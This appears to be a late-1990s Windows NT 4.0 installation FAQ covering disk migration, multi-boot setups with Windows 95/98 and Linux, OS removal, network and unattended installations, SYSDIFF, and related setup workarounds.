If you have your NT Workstation upgraded with Service Packs, it is necessary to upgrade the server with the same service pack best performed by an unattended installation described in your FAQ. Otherwise you get a lot of unpredictable problems up to an core dump.


Q. I have bought a new disk, how do I move NT to this new disk?

A. There are various methods, depending on your setup and needs. The best method is to:

  1. Backup your NT disk to a tape
  2. Create a new, up to date ERD (rdisk -s)
  3. Shutdown NT and insert the new Hard Disk
  4. Install a basic installation of NT to a directory with a different name than your final NT installation directory
  5. Once the installation is finished restore your backup tape
  6. There are sometimes problems with registry entries, so reboot and boot off of the NT installation disks
  7. After disk 2 choose repair, and select everything except "Check System Files". You will need to insert disk 3 and then the ERD
  8. Reboot and NT should work as required

If the tape drive is not an option and the partition is NTFS you still have a number of options, you could setup the new disk as a mirror of your existing disk, then break the mirror and remove the old disk setting the new disk as the boot disk. You can also use the utility scopy that is supplied with the NT resource kit by fitting the new hard disk, creating an NTFS partition on it and then performing

scopy <source drive>: <target drive>: /o /a /s

To use the scopy command you must have Backup and Restore User Rights. Once the copy is complete shutdown NT, remove the old drive, and set the new drive to master (if IDE) or SCSI 0/6 (if SCSI) and boot of the NT installation disks, and again repair everything except "Check System Files". If you have time it can be worth creating a temporary NT installation on the drive before performing the copy, booting off of this minimal installation and perform the scopy from there as this means no files will be locked, and then you would only need to repair the boot sector.

Other methods include ghost copy from http://www.ghostsoft.com and DriveCopy from http://www.powerquest.com which copy and entire disk which should eliminate the need for performing a repair. I have used the ghostsoft utility and it works well.

Make sure if you are moving NT to a different type of disk, i.e. one that needs a different driver, you install the new driver before you perform the copy so that when NT boots off of the new disk it has the needed drivers.

Another option would be to use Mirroring (if you have Server). Install the new disk and make it a mirror of the boot/system partitions. Once it is up-to-date remove the old disk and use the new.

One final point if you are using FAT is that to clone a HDD by copying the SAM and Registry files (which are all 8.3 file names) in a DOS copy operation (thereby avoiding the share violation you would get in NT4) and to copy across all the other files, some with ling file names, under NT4.


Q. Can I upgrade from Windows95 to NT 4.0?

A. There is no upgrade path from Windows95 to NT4.0. The best option would be to have a dual boot if you have 150Mb of uncompressed space free. Just install NT4.0 into a DIFFERENT directory (if you install NT4.0 into the same directory as Windows95 it will corrupt the 95 registry) and when booting the machine you will have a choice of NT4.0 or Windows95.


Q. How do I remove NT from a FAT partition?

A. If you have NT installed on a FAT partition then you will need to remove the NT operating system files and the NT boot loader. To remove the files and the boot loader boot a MS-DOS disk with the deltree utility copied and perform the following:

  1. C:
  2. DELTREE WINNT
  3. CD PROGRA~1
  4. DELTREE WINDOW~1
  5. CD \
  6. DEL NTLDR.
  7. DEL NTDETECT.COM
  8. DEL BOOT.INI
  9. DEL PAGEFILE.SYS (this file may not be on the active partition depending on your configuration)
  10. DEL BOOTSECT.DOS
  11. Boot up using a Win95 or DOS startup disk, and type SYS a: c:
  12. Reboot


Q. How do I remove NT from a NTFS partition?

A. The best way is to delete the partition. Start the computer from the NT installation disks. When the option to create/choose partitions select the NTFS partition NT is installed on and press D to delete the partition, and then L to confirm.


Q. How do I install the Iomega Parallel Disk Drive?

A. Follow the steps below

  1. Before you do this, make sure your Parallel Zip drive is plugged in, and make sure you DO NOT have a ZIP disk in the drive.
  2. Go to Iomega's web site and download the software: http://www.iomega.com/software/
  3. Download the Windows NT Tools for Windows NT 3.51 and 4.0 version 1.5 iomgnt15.exe (3.3MB).
  4. Execute this program. It will decompress the files, and then start the SCSI control Panel Applet. Click the drivers tab and click Add. On the right hand side it will have various Iomega drivers and select the relevant one and click Add
  5. After restarting, your system should see the ZIP drive. You do not have to install the ZIP tools, you can use the drive without them. To install the tools anyway, run the setup program again.

Notes:
When you start up your pc, make sure there is no ZIP disk in the drive- otherwise NT will run checkdisk on the drive, which can take an eternity.

If you do not have the ZIP drive attached when you boot up, you will get an error at bootup that a service did not start up.


Q. How do I install at tape drive on NT Server?

A. Follow instructions below

  1. Bring up the Control Panel, and Double click Tape Devices
  2. Click on the Drivers Tab, and then click Add
  3. Select your tape drive (or if not the exact one, something close) and click OK
  4. NT will install the drivers
  5. Reboot your machine and you will then be able to use NTBACKUP

NT 4.0 will also detect and install certain tape drivers (such as 4mm DAT) which means there is no need for a reboot after the installation.


Q. How do I install the NEC 4x4 CD changer?

A. NEC does not currently have drivers for NT 4.0, so the CDROM must rely on Microsoft's generic drivers. I've been able to get all four slots to read data correctly without any special tweaking; however, there are some annoyances that still remain.

  1. The changer cycles through all the slots that have disks in them if you open the Explorer. The only solution that I have found for this problem is to disable the Explorer's interface to the CDROM drives. This can be accomplished via TWEAKUI. You can still access the CDROM drive's contents by using the Run command on the start menu - just enter "Drive_Letter:\\" as the program to run.
  2. Lots of error messages appear in the Event Viewer whenever you reboot. Seems to be a symptom of not having a CDROM specific driver. I haven't seen any problems specifically related to this, so I just ignore it.
  3. The CD player won't recognize a new disk when I insert it. Again, all I have is a workaround. When a disk finishes playing, close the CD Player, then change disks. Wait a few seconds for the CD to be recognized by the changer, then re-open the CD player.
  4. I can't make NT treat all four slots as 1 CDROM drive. Another symptom of the lack of an NT driver. Nothing can be done about this until NEC gives us a real driver.

Create a shortcut that points to driveletter:\\ instead of using the run box and typing it in eases use of the drive.


Q. What are symbol files, and do I need them?

A. Symbol files are created when images are compiled and are used for debugging an image. They allow someone with the correct tools to view code as the software is running. You do not need symbol files unless you are a developer.


Q. How do I install NT and Linux?

A. Linux has a boot manager called LILO (which is a separate utility), and it will boot Linux on its native EXT2 partition, and any other DOS/WIN bootimages residing on a FAT16 partition. It doesn't really care whether it is dos/win95/NT, it will boot it. So as long as NT is installed on a FAT16 partition, there is no problem with LILO. Apparently the latest Linux kernel has FAT32 support, so that may also be an option as well. Actually Linux supports FAT16 and can mount the FAT16 partition under its filesystem and have all the DOS/WIN files visible if you want it to. An alternative to LILO is Grub which can be downloaded from http://www.uruk.org/~erich/grub .

There is something else called LOADIN, allowing linux to be installed as a MSDOS subdirectory in a DOS/WIN system. This allows Linux to be run as an application after you started DOS. This does not work with NT. This is as Linux needs to run in supervisor mode and not user mode. NT will not yield at all on this. Windows 95 is the same but you can set loadlin to run in Dos mode where it just sees Dos 7 and works fine.

Linux and NT will work even if Windows NT is on NTFS. You need to set in linux fdisk for the Linux drive to be flagged bootable, not NT. Then install lilo and select to boot the linux partition and NT (which will say OS/2 in lilo). This way you can use both NT and Linux and still have a NTFS partition. Lilo must reside on the Linux root sector and not the MBR.

Another method is as follows:

  1. Install NT as per normal
  2. Download the freeware utility, bootpart.exe, from http://www.winimage.com/bootpart.htm
  3. Install Linux, and make sure Lilo is not installed on MBR, but on the boot sector of the linux root partition.
  4. Boot NT
  5. Start a command prompt (cmd.exe)
  6. Run Bootpart.exe, and add the Linux bootsector into the NT-OS loader.(This also works when NT boot partition is NTFS)

You can learn more about it from the Linux documentation project and the FAQ inside. It is mirrored in a large number of locations. This is one of the mirrors ftp://ftp.ox.ac.uk/pub/linux/LDP_WWW/linux.html.

More information can be found on multi-boot from http://www.windows-nt.com/multiboot/directboot.html.


Q. How do I install NT over the network?

A. If you do not currently have any operating system installed on your machine, then you need to create a bootable floppy disk that contains a driver for your network card and network protocol. A tool is provided called "Network Client Administrator" which automatically creates a bootable disk used to install Windows95 or Network Client. It is possible to use this tool to also create a disk that can be used to install NT with a bit of tweaking :-)

  1. Format a system floppy drive using DOS
    format a: /s
  2. Create a share on the NT box containing the entire i386 structure from the NT installation CD ROM and give the share everyone Read access.
  3. Log on as the Administrator (or a member of the Administrators group)
  4. Start the "Network Client Administrator" (Start - Programs - Administrative Tools - Network Client Administrators)
  5. Click the "Make Network Installation Startup Disk" option and click continue
  6. Select "Share files" and accept the default of <CD ROM>\clients
  7. Click the OK button, and program will perform some background actions
  8. Next select the floppy drive, and click "Network Client V3.0" as the client and choose your network card from the drop down list. Click OK
  9. Enter the name of the computer it will be known as. The username and domain will automatically be completed using the current user
  10. You need to choose the protocol. In this example choose TCP/IP and uncheck "DHCP". Enter an IP address, subnet mask and gateway.
  11. Insert the disk created in step 1 and click OK
  12. Files will be copied to the floppy disk. Once completed exit Network Client Administrator
  13. The disk needs to be edited to stop the automatic installation of the "Network Client". Start explorer and open the A: drive. Right click on autoexec.bat and select edit.
  14. Remove the last 2 lines of the file (echo running setup and the setup)
  15. You can also change the net use command to point to the correct share where the NT installation files are located
  16. Click Save from the File menu and close Notepad
  17. Insert the disk into the machine where you want to install NT and power on
  18. Once the startup has completed change directory to Z: (or whatever your net use pointed to)
  19. Start a floppyless install
    winnt /b

If you plan to produce a large number of install disks you can configure the Network Client Administrator to also create Workstation and Server network installation disks. To do this you need to have the client directory on a hard disk and create 2 subdirectories under it (\\server\client).

  • winnt\netsetup (hierarchy of \i386 from NT Workstation CD-ROM)
  • winnt.srv\netsetup (hierarchy of \i386 from NT Server CD-ROM)

When creating the network disk you will now also have options for "Windows NT Workstation" and "Windows NT Server".


Q. Is it possible to use Disk Duplication to Distribute Windows NT?

A. It is OK to use disk duplication to install NT, but not a complete NT installation. You should follow the steps below:

  1. Use the winnt /b installation option on a machine
  2. Stop the setup at the second reboot, when it has finished the text portion of the installation, and will be starting the GUI section
  3. Remove and duplicate the hard disk of the machine
  4. Install the duplicate hard drive in the new machine
  5. Start the new machine and the GUI sections will start.

The traditional problems with cloning were that the SID would be duplicated, however there are now several third party products that enable you to change the SID of a duplicated machine, you would then add the machine a new Computer Account on the PDC and change its name.

NT Internals | http://www.sysinternals.com
ImageCast | http://www.netversant.com
DiskClone | http://www.qdeck.com
DriveCopy | http://www.powerquest.com
ImageBlast | http://www.keylabs.com
Ghost | http://www.ghostsoft.com


Q. How do I perform an unattended installation?

A. It is possible to specify a text file that can be passed to the Windows NT installation program that contains answers to the questions the installation procedure asks. This file is usually called unattend.txt and is passed to the Windows NT installation program using the /u:unattend.txt qualifier. The answer file has to adhere to a strict format which can be very complex, however there is a utility on the NT Server CD called SETUPMGR.EXE (in the Support/Deptools/I386) that allows the information to be filled into dialog boxes and it will then create the unattend.txt (or any other name) for you. Below is an example of how to use the SETUPMGR.EXE file:

  1. Load the NT Server Installation CD-ROM
  2. Run <CD-ROM>:/Support/Deptools/I386/setupmgr.exe
  3. Click the "New" button, and the click OK to the advice dialog box
  4. Click the "General Setup" button
  5. Click the "User Information" tab, and type your name (i.e. John Savill, not your domain logon name!), your company, a computer name and the product ID (on the back of the NT installation CD-ROM)
  6. Click the "Computer Role" tab, and from the drop down list select the type (in this case Workstation in Domain) and then type the Domain name
  7. Click "Install Directory" and choose the NT install directory
  8. Click "Time Zone" tab and from the drop down list select your time zone
  9. If you choose a PDC then you can click the "Licence Mode" tab and choose the licensing to be used
  10. Click OK
  11. Click the "Networking Setup" button
  12. Enter in the information for adapters and protocols then click OK
  13. If you want to use NTFS click the "Advanced" button and click "File System" tab and select convert to NTFS
  14. Click OK
  15. Click Save and enter a file name
  16. Click Exit

Microsoft have a document on automated installations at http://www.microsoft.com/NTWorkstation called "Deployment Guide to Windows NT Setup"

Other Resources:

  • http://support.microsoft.com/support/kb/articles/q155/1/97.asp - A list of parameters for unattended installations


Q. Is it possible to specify unique items during an unattended install?

A. The unattended installation file contains details for settings that will apply to all machines, however there are some settings that you may want to be different from machine to machine, such as user name, computer name, TCP/IP address etc. This can be accomplished by producing a text file in a certain format, with different sections for each computer. The UDF file is used by specifying the /UDF:ID[,<database file name>]. An example UDF file would be

[UniqueIds]
u1 = UserData,TCPIPParams
u2 = UserData,TCPIPParams
[u1:UserData]
FullName = "John Savill"
ComputerName = SavillComp
ProductID = xxx-xxxxxx
[u1:TCParamSection]
IPAddress = 200.200.153.45
[u2:UserData]
FullName = "Kevin Savill"
ComputerName = KevinComp
ProductID = xxx-xxxxxx
[u2:TCParamSection]
IPAddress = 200.200.153.46

The ID specified would be (in the case above) u1 or u2. If the above file was saved as udf.txt to perform an unattended installation for machine one you would use
winnt /b /s:z: /u:unattend.txt /UDF:u1,udf.txt
which would set the installation as user John Savill, computer name SavillComp and IP address 200.200.153.45. If a parameter is specified in both the unattend answer file and the UDF the value in the UDF will be used. (The /b means its a floppyless installation and the /s specifies the source for the installation files and UDF etc. You would needed to have created the connection to z: already (net use z: //savillcomp/dist))

The structure of the UDF uses a subset of the sections available in the unattended answer file.


Q. How do I automatically install applications as part of the unattended installation?

A. A utility is supplied on the NT distribution CD called SYSDIFF.EXE which is used to create a file containing files and registry changes needed for an application or set of applications to be installed. To use SYSDIFF just copy it from the CD to your hard disk

  1. Insert the NT CD-ROM
  2. Move to the <CD-ROM>:\Support\Deptools\i386 directory
  3. Create a directory on you local hard disk (e.g. SYSDIFF)
  4. Copy over SYSDIFF.EXE and SYSDIFF.INF to the directory

Alternativly there is a newer version available as a fix from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/utilities/Sysdiff-fix/, download sysdiffa.exe for Alpha, sysdiffi.exe for Intel.

The basics behind SYSDIFF is it creates a snapshot of the system before the application is installed, the application is installed and SYSDIFF is run again which compares the current system to the snapshot taken, and any changes to the registry and files are saved. An example usage need to include the following

  1. Create an initial snapshot of the system
    SYSDIFF /snap <snapshot file name, e.g. snapfile , no extension>
  2. Install the application to the machine (e.g. install Office 97 :-) cool app )
  3. Create a difference file based on the current system configuration and the snapshot file
    SYSDIFF /diff /c:<title> <snapshot file> <difference file, e.g. difffile, no extension>
    e.g. SYSDIFF /diff /c:officediff snap difffile
  4. Have a look at the differences
    SYSDIFF /dump <difference file> <dump file>
    e.g. SYSDIFF /dump difffile dumpfile
    Type out the dumpfile
  5. Edit your unattended installation file (unattend.txt) and change the [Unattended] section to include
    OEMPreinstall=Yes
  6. Copy SYSDIFF.EXE and SYSDIFF.INF to the $OEM$ directory
  7. Copy difffile to the distribution directory
  8. If the file does not exist, create the file $OEM$\Cmdlines.txt and insert the following line
    sysdiff /apply /m difffile
    where /m makes the changes to the default user profile

Note: Using the /apply method the %systemroot% has to be the same on all machines, i.e. if the diff file was created on a machine with a %systemroot% of d:\winnt\ all machines must be installed to d:\winnt\ ([Unattended] TargetPath)

If this dump file gets to large look at the sysdiff /inf option instead which creates a directory for each application installed and is better for a large number of applications. See the SYSDIFF.HLP file for more information.


Q. Install detects the wrong video card and locks the installation.

A. When NT detects a video card it insists that you click the "Test" button. If the NT installation procedure incorrectly detects the hardware then it can cause the NT installation to hang and the only way to continue is to press the Reset button (e.g. the Number 9FX Reality card). To solve this problem when it detects the card just click the CANCEL button and it will leave the default VGA driver.

After the installation has finished manually install the new driver supplied with the graphics card, or download it from the makers web site.


Q. How do I upgrade from NT 3.51 to NT 4.0?

A. The scenario below is for upgrade an NT Workstation 3.51 machine to a NT Workstation 4.0 machine. It is the same to upgrade a NT Server 3.51 to a NT Server 4.0, except that if you upgrade a server you will also be given the option to install IIS (Internet Information Server).

  1. Although it is possible to upgrade using the floppyless install, in this example we will boot off of the 3 NT installation disks (which can be made using winnt32 /ox). Insert the first NT installation disk and boot up the machine
  2. You will have to put in Disk 2 and then press Enter.
  3. You will be given a choice of options. Choose "Setup Windows NT" by pressing Enter
  4. Press Enter to Detect Hardware and you will have to insert Disk 3.
  5. When the detection is finished, if you have extra drivers to install, insert the OEM disk and press S to specify addition devices.
  6. Once all drivers have been installed read the license agreement by scrolling down using the page down key and press F8 to agree at the end.
  7. A check of the disks will run and it will detect your previous installation of NT. Press Enter to upgrade this installation.
  8. Allow the program to perform a quick check of the disk by pressing Enter.
  9. The Fonts on the system will be upgraded and files copied over.
  10. Remove any disks and press Enter to reboot
  11. Once the system has rebooted press the Next key to allow the Setup program to verify the computer information
  12. Enter the CD-Key that is on the back of the NT installation CD-ROM case and click Next
  13. Select if you want a repair disk and click Next
  14. Select components and click Next
  15. Click Next to upgrade Network Services
  16. Any non-standard Network components will be displayed and you will be advised to remove and add them after the installation.
  17. Click Finish and the main files will be copied
  18. Click the "Restart Computer" button

The only problem with the upgrade is it does not remove old applications that were part of 3.51, such as cardfile.exe.


Q. When I use an unattended installation, how do I avoid the click "Yes" at the license agreement?

A. In the [unattended] section of your unattended answer file insert the line

OemSkipEula = yes


Q. I have NT installed, how do I install Windows95?

A. If you already have DOS installed, then boot to DOS and install Windows95. The instructions below are if you only have Windows NT installed.

  1. Make an emergency repair disk (rdisk - Update Repair Info)
  2. Ensure you have NT installation disks (can make by winnt32 /ox)
  3. Reboot the machine and boot off of the Windows95 installation disks or boot off of a bootable floppy disk with the drivers for your CD-ROM drive and run setup.exe off of the CD-ROM
  4. Install Windows 95 as normal
  5. Once the Windows 95 installation has finished, reboot the machine and boot off of the NT installation disks
  6. After 2 disk will give options, press R for repair
  7. Deselect all options except "Inspect Boot Sector" and continue
  8. Press Enter to detect hardware and insert disk 3
  9. The procedure will ask if you have an Emergency Repair Disk (ERD), say Yes and insert the ERD.
  10. The machine will then reboot into NT again
  11. Once in NT goto a DOS session
  12. Type - attrib c:\boot.ini -r -s
  13. edit boot.ini and insert at the bottom
    c:\=Microsoft Windows
  14. Type - attrib c:\boot.ini +r +s
  15. Reboot the machine and you will have Windows95 and NT options.

For this procedure to work the system partition (c:) must be FAT.


Q. How do I remove Windows95/Dos from my NT system?

A. The procedure below should be used on systems with Windows95 and/or DOS installed, however be aware it is sometimes good idea to have a small DOS installation for use with hardware setup etc. Before you start this make sure you have an up-to date ERD (rdisk -s) and the 3 NT installation disk (winnt32 /ox) just in case :-)

  1. Modify the attributes on boot.ini to allow the file to be edited
    attrib c:\boot.ini -r -s
  2. Using Notepad (or another test editor open c:\boot.ini and remove the lines for DOS and/or Windows95 from the [operating systems] section, e.g. the lines to remove may be
    c:\="MS DOS 6.22"
    c:\bootsect.622="MS DOS 6.22"
    c:\="Windows 95"

    Lines to avoid removing are structured like
    multi(0)disk(0)rdisk(0)partition(2)\WINNT="Windows NT Workstation Version 4.00"
  3. Save the file, and put back the file attributes
    attrib c:\boot.ini +r +s
  4. If you are removing DOS then delete the DOS tree structure
    deltree c:\dos
  5. If you are removing Windows95 then delete the Windows 95 tree structure ** Make sure it is not the same directory as NT is installed in, this is very unlikely however **
    deltree d:\window95
  6. You will also need to remove applications that were only installed for use with Windows 95/DOS, e.g. programs under Program Files, however NT will also install applications in this directory so be careful.
  7. DOS and Windows95 place a number of files on the boot partition that can be deleted, e.g.
    - autoexec.bat
    - config.sys
    - IO.SYS
    - MSDOS.SYS
    - bootlog.txt
    - command.com
    It will probably be safer to copy them somewhere before deleting them and just check NT boots OK. You may need to set them to be deletable using
    attrib <file> -r -h -s
    You can basically delete all files at the base of the boot partition except
    - boot.ini
    - ntldr
    - ntdetect.com
    - ntbootdd.sys (for SCSI systems)
    Which are needed for NT startup
  8. Reboot the machine and Windows95/DOS are now removed


Q. I can't create a NTFS partition over 4GB during installation.

A. During the text based portion of the NT installation, it is possible to create and format partitions. The maximum size for an NTFS partition is very large (16 exabytes), however the maximum size for a FAT partition under NT is 4GB (2GB under DOS). If you format a partition as NTFS during NT installation, it originally formats it as FAT and then converts it in the final stages of the NT installation, and this you are limited to a maximum partition size of 4GB during the NT installation.

To get round this problem there are several paths of action open to you

  1. Before starting the installation insert the disk into an existing NT installation and partition/format the disk using Disk Administrator and then insert the disk into the machine to be installed
  2. Partition the disk into smaller partitions, if you had a 5GB disk you could have a 1GB system partition, and a 4GB boot partition. The system partition is the partition NT's core startup files are located, boot.ini, ntldr and ntdetect.com (ntbootdd.sys if SCSI), and will normally be the active partition. The boot partition is the partition that NT stores the rest of its files, i.e. the %systemroot% directory
  3. Create a 4GB partition at installation time, and then extend the NTFS partition after installation has completed
    - Start Disk Administrator (Start - Programs - Administrative Tools - Disk Administrator)
    - Select the NTFS partition and holding down the Ctrl key select the unpartitioned space of the rest of the disk
    - From the Partition menu, select Extend Volume Set
    Note - You cannot extend a NTFS partition if it is the boot or system partition (as the boot/system partition cannot be part of a volume set)

If you are performing an unattended installation it is possible to create a greater than 4GB partition using the ExtendOEMPartition flag in the unattended file. This key causes text-mode setup to extend the partition on which the temporary Windows NT sources are located into any available unpartitioned space that physically follows it on the disk. Under the [unattended] section include the lines:

FileSystem = convertNTFS
ExtendOemPartition = 1, NoWait

The NoWait is only availble from Service Pack 1 and above.

Also if you are installing from a distribution kit you can copy the Service Pack 3 version of setupdd.sys and replace the version in i386 folder of the NT distribution set.

Also see:

  • Q. How do I install on a disk larger than 8GB?

For more information see knowledge base articles:

  • Q138364 at http://support.microsoft.com/support/kb/articles/q138/3/64.asp
  • Q119497 at http://support.microsoft.com/support/kb/articles/q119/4/97.asp


Q. I cannot upgrade my 4.0 NT installation with the NT 4.0 upgrade CD.

A. Microsoft have confirmed this to be a problem with the software, and more information can be found in knowledge base article q154538 at http://support.microsoft.com/support/kb/articles/q154/5/38.asp .

A workaround is available, as the setup procedure checks the registry entry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion for the version number, and only upgrades if the version is 3.1 ,3.5 or 3.51. You can therefore edit this entry and change the current version number

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
  3. Double click on CurrentVersion that is in the right hand pane
  4. Change 4.0 to 3.5 and click OK
  5. Close the registry editor

You should now be able to upgrade.


Q. How do I create the NT installation disks?

A. Follow the procedure below:

  1. Insert your NT Workstation/Server CD
  2. From the Start Menu, select Run (or press Win key + R)
  3. If you are not running NT on the machine you are making the disks from enter
    <CD-ROM drive>:\i386\winnt /ox
    If you are running NT:
    <CD-ROM drive>:\i386\winnt32 /ox
  4. You will have to put in 3 blank, formatted disks


Q. How can I use a Network card that is not one of those shown with Network Client Administrator?

A. The Network Client Administrator tool located in the Administrative Tools section is a very useful tool, but lacks the seemingly obvious function of "Have disk" to use a NDIS 2.0 compatible driver supplied with the network card. You can get round this though with a minimum of hassle.

  1. Run Network Client Administrator as normal, selecting a network card similar to your card
  2. Once finished locate the driver disk that was supplied with the Network card (you did keep it :-) ).
  3. On the disk there will be a NDIS folder and a DOS section
  4. Copy the .dos file from this disk to the net sub-directory on the disk created by Network Client Administrator
  5. Also in the directory should be a sample protocol.ini file, open this and look for the line with a driver with a $ on the end, e.g.
    DriverName = "EL59X$"
    write this name down
  6. Insert the disk created by Network Client Administrator and move to the \net sub-directory
  7. Open the file system.ini and edit the network drivers section and change the netcard parameter to the name of the .dos file you copied to the disk
    [network drivers]
    netcard=EL59X.dos
  8. After saving system.ini, open protocol.ini (in the same directory) and locate the DriverName parameter and change to the name you found in the protocol.ini file supplied on the Network Card driver disk (the one you wrote down in step 5), e.g.
    [ms$elnk3]
    DRIVERNAME=EL59X$
    If the card is a PCI card make sure the I/O, slot etc. are commented out, or set these to the correct values. Again save the file.

The Network Client Administrator disk is now configured to use your network card. A known problem is with Irmatrac/Microdyne token ring adapters, and will not work unless the net sub-directory on the disk is renamed to dev.

This solution is fine for one off disk creations, however you may want to have the network card displayed as an option by the Network Card Administrator program, to do this perform the following

  1. You have to have the clients directory shared on your hard disk, e.g. d:\clients
  2. Copy the .dos file from the network driver disk (windows for workgroups area) to <client share name>\msclient\netsetup directory
  3. Edit the file <client share name>\msclient\netsetup\wcnet.inf and enter the following details, this information will be on the Network card installation disk as a oemsetup.inf or similar file
    [netcard]
    tcm$el59x="3Com Fast EtherLink/EtherLink III BusMaster Adapter (3C59x)",0,ndis,ethernet,0x07,tcm$el59x,tcm$el59x_nif
    Also in the oemsetup.inf will be 2 sections that correspond to the last 2 parameters, e.g. tcm$el59x and tcm$el59x_inf. Append these to the end of wcnet.inf, then save the file

Network Client Administrator will now list the new card as an option as a Network card.


Q. How can I make domain users members of local Administrators groups during an unattended installation?

A. The easiest way to do this is to use the net localgroup command, however before you can use the command you have to have connected to the PDC and start the netlogon service. The following commands can be used in the unattended installation using the CMDLINES.TXT file:

net use \\<machine name of the PDC> /user:<domain name>\<username> <password>
net start netlogon
net localgroup Administrators "<domain name>\<user>" /add


Q. I have problems running a program as part of the unattended installation?

A. You can use the /e switch during the unattended installation to specify a program to run, e.g.

winnt.exe /u:unattend.txt /s:w: /e:"w:\servpack\update -u -z"

The above would be used to install a service pack after the NT installation (-u for unattended, -z for no reboot), however you may get an error and in setuplog.txt the following error:

"Warning:
Setup was unable to invoke external program
<drive>:\<directory>\<program> because of the following error:
CreateProcess returned error 3."

This is because after the installation network drives are no longer mapped and w: no longer exists. Any source files need to be locally stored to be able to be run and then with the /e use a local drive letter.


Q. I have Windows NT installed, how do I install Windows 98?

A. As with the installation of Windows 95, the system partition (the active partition, c:) must be FAT and not NTFS as Windows 98 cannot read or write to an NTFS partition. Windows 98 places COMMAND.COM on the active partition (along with a blank autoexec.bat).

If you system partition is not FAT then you should back up your data, reformat the partition as FAT and restore the backup.

Windows 98 is normally NT boot menu friendly which means it will not replace the boot loader code of the disk and instead automatically adds an option to the boot menu (boot.ini) of the format

C:\="Microsoft Windows 98"

This means upon booting the machine Windows 98 or NT can be chosen.

To be on the safe side before installing Windows 98 create a new Emergency Repair Disk for NT using RDISK.EXE

Windows 98 cannot be installed from within Windows NT so if you have DOS also installed, boot from DOS (its boot menu item will be replaced after the Windows 98 installation with the Windows 98 name) and run the setup.exe on the Windows 98 installation disk.

If you do not have DOS installed you should boot off of a DOS boot disk with a driver for your CD-ROM and again run SETUP.EXE.

Once installation has started you will be able to choose the installation drive and directory (only FAT partitions will be allowed). If there are NTFS partitions on the system a warning will be given that the contents will not be viewable under Windows 98.

Once installation has completed no user action is needed and you may boot off of either installation.

If you find you DON'T have the NT boot menu and the machine boots straight into 98 perform the following:

  1. Reboot the machine and boot off of the NT installation disks
  2. After 2 disk will give options, press R for repair
  3. Deselect all options except "Inspect Boot Sector" and continue
  4. Press Enter to detect hardware and insert disk 3
  5. The procedure will ask if you have an Emergency Repair Disk (ERD), say Yes and insert the ERD.
  6. The machine will then reboot into NT again
  7. Once in NT goto a DOS session and type
    attrib c:\boot.ini -r -s
  8. Edit boot.ini and insert at the bottom
    c:\=Microsoft Windows 98
  9. Type - attrib c:\boot.ini +r +s
  10. Reboot the machine and you will have Windows98 and NT options.

Ensure once you have completed the Windows 98 installation you do NOT upgrade the active partition to FAT32. Windows NT 4.0 cannot read FAT32 and converting the active partition to FAT32 will render the NT boot menu unusable and unbootable.


Q. I have Windows 98 installed, how do I install NT?

A. The only requirement for installing Windows NT after Windows 98 is that the system partition (C:) is not FAT32 as Windows NT cannot read FAT32 (at least until version 5.0 of NT which has full FAT32 support).

If the active partition is FAT32 you will need to convert it back to FAT16 or see 'Q. I have Windows 98 installed on C: with FAT32, how do I install NT?'. There are a number of 3rd party applications that can do this, e.g. Partition It from QuarterDeck (http://www.quarterdeck.com). I have never used it but other people have recommended it.

To begin the installation of NT just boot into Windows 98 and run WINNT32.EXE from the Windows NT installation and proceed as normal (select install not upgrade). The Windows NT installation procedure will automatically detect the Windows 98 installation and add it to the NT boot menu.

Do NOT upgrade the system partition to NTFS using the CONVERT.EXE command as Windows 98 will no longer be able to boot.


Q. I have Windows NT 5.0 installed but when I try to install Windows NT 4.0 the installation fails.

A. Windows NT 5.0 has changed the boot loader and so trying to install Windows NT 4.0 afterwards Setup may continuously restart each time the computer is started without ever finishing.

Service Pack 4 provides an updated winnt32.exe that allows Windows NT 4.0 to be installed after NT 5.0 so you will need to perform the following:

  1. Copy I386 directory structure from the Windows NT installation CD-ROM
  2. Rename the winnt32.exe to winnt32.old
  3. Copy the winnt32.exe from the service pack 4 CD from the Support\Winnt32\i386to your I386 directory structure
  4. Run winnt32.exe from your local stored copy


Q. I want to install Windows 98 and NT, what file system should I use?

A. Windows 98 supports 2 file systems, FAT and FAT32. Windows NT 4.0 supports 2 main file systems FAT and NTFS. The only common file system is FAT which means the active partition, C:, must be FAT.

If you then partition the harddisk into one partition for the active partition, one for 98 (d:) and one for NT (e:) you could have FAT32 on D: and NTFS on E: but you should be aware that the 2 operating systems will not be able to see the partition of the other. If you ever want a partition that can be seen by both you will need FAT.

Windows NT 5.0 introduces support for FAT32 so in this case the active partition could be FAT32 and you would only need one separate partition for NT if you wanted NTFS.

There are tools that enable Windows 9x to read NTFS, e.g. NTFSDOS from http://www.sysinternals.com however these are mainly readonly and I may lead to corruption if not used correctly. Also bear in mind Windows NT 5.0 introduces NTFS 5.0 which these utilities will not be able to read.


Q. How do I manually install SCSI drivers before the autodetect of installation?

A. When you put the first Boot disk in to install NT. There is a brief moment when at the top of the screen in white lettering is "Setup is inspecting your Hardware....". Press the F6 key there. Once the NT Kernel is loaded it will ask you to select which drivers to install at the end of reading disk 2 but before selecting the installation type.


Q. During installation of Windows NT Server 5.0 the type of server cannot be set.

Q. During installation of Windows NT Server 5.0 the type of server cannot be set. - NT 5.0 only

A. Unlike earlier versions of Windows NT, the role of a server can be changed at any time in its life, e.g. from a member server to a domain controller, and from a domain controller back to a member server. This means that when initially installed, ALL servers are installed as stand-alone/member servers (even upgraded PDC/BDC's) which then have to be promoted to domain servers.

For information on promoting a server to a domain controller see Q. How do I promote a server to a domain controller?


Q. How do I delete the recycle bin as part of an unattended installation.

A. The recycle bin is just a registry entry so if we delete the registry entry it will remove the recycle bin.

Create the following in a file remreycl.inf

[Version]
Signature = "$Windows NT$"
Provider=%Provider%

[Strings]
Provider="SavillTech Ltd"

[DefaultInstall]
AddReg = AddReg
DelReg = DelReg
UpdateInis = UpdateInis

[AddReg]
[DelReg]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}
[UpdateInis]

You should then create a $OEM$ folder in your I386 installation directory and copy the file remreycl.reg into the directory.

If the file cmdlines.txt exists edit it otherwise create it (in the $OEM$ directory) and add the following:

[Commands]
"rundll32 setupapi,InstallHinfSection DefaultInstall 128 .\remreycl.inf"


